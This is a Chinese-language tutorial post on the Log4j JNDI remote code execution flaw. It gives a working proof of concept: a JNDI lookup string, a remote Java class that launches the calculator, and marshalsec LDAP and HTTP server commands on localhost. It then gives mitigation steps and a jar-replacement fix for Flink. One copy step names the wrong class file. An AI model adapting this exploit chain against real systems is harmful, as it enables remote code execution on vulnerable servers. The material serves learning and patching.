Log4j远程任意代码执行漏洞POC和Flink修复

声明

本篇目的为分享原理和学习用途,严禁用于任何恶意行为。任何恶意使用导致的一切损失和法律责任由操作者承担,和本文作者无关。

准备工作

下载并编译mbechler/marshalsec

git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests

编写代码

Log4j漏洞代码(Log4j.java):

public static void main(String[] args) {
    // 高版本(191以上)JDK默认为false,需要添加这一行
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}

漏洞远程恶意执行代码(Log4jRCE.java),如下例子为启动计算器程序。

static {
    System.out.println("Log4jRCE from remote!");
    // 启动计算器,在windows环境下
    try {
        String[] cmd = {"calc"};
        java.lang.Runtime.getRuntime().exec(cmd).waitFor();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

编译Log4jRCE.java并放置class文件于任意目录,例如/path/to/rce

漏洞利用

复制编译后的漏洞远程恶意执行代码(Log4jRCE.class)到任意目录,例如/path/to/rce,启动一个http服务器。

mv Log4j.class /path/to/rce
python -m http.server 8081

进入marshalsec目录,启动LDAP服务:

cd marshalsec
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jRCE

执行漏洞代码:

java -cp log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Log4j

我们发现输出:

Log4jRCE from remote!

同时计算器程序被启动。观察http server和LDAP服务器日志,发现的确接收到了Log4j漏洞代码发来的请求。

漏洞防御

漏洞防御措施分为临时规避方案和彻底解决方案。

临时规避方案

强烈建议升级JDK版本到6u211 / 7u201 / 8u191 / 11.0.1这些版本以上。这些版本默认com.sun.jndi.ldap.object.trustURLCodebase值为false,一定程度上降低了安全风险,但是不能彻底解决。

安全建议如下:

  1. 修改JVM参数,增加 -Dlog4j2.formatMsgNoLookups=true
  2. 设置系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  3. 对于2.0-beta9 到 2.10.0 之间的版本(闭区间),需要从jar包中删除org/apache/logging/log4j/core/lookup/JndiLookup.class。可执行zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  4. PatternLayout 设置输出消息格式为%m{nolookups},不要使用%m

彻底解决方案

需要替换项目依赖中的log4j为2.16.0。log4j2.15.0虽然已经修复了漏洞,但只是应急处理(解决了JNDI从日志消息和地址访问),建议使用更安全的2.16.02.16.0默认禁用了JNDI。开启JNDI需要 log4j2.enableJndi设置为 true 。除此之外该版本还默认禁止了message解析过程lookup(相当于默认为前面说的%m{nolookups})。如要启用lookup,请设置Pattern为%m{lookup}

如果项目为fat jar(项目本身和依赖打到同一个jar包),建议修改log4j依赖版本后重新编译。如果项目加载固定目录中的内容到classpath(例如Flink的lib目录),直接替换依赖包即可。

Flink修复log4j漏洞的方式

下载并替换如下jar包到Flink的lib目录:

  • log4j-core-2.16.0.jar
  • log4j-api-2.16.0.jar
  • log4j-slf4j-impl-2.16.0.jar
  • log4j-1.2-api-2.16.0.jar

注意:如果Flink引入了第三方jar包,还需要检查第三方jar包中的log4j版本。作业中整个classpath中出现的log4j都需要排查一遍。

你可能感兴趣的:(Log4j远程任意代码执行漏洞POC和Flink修复)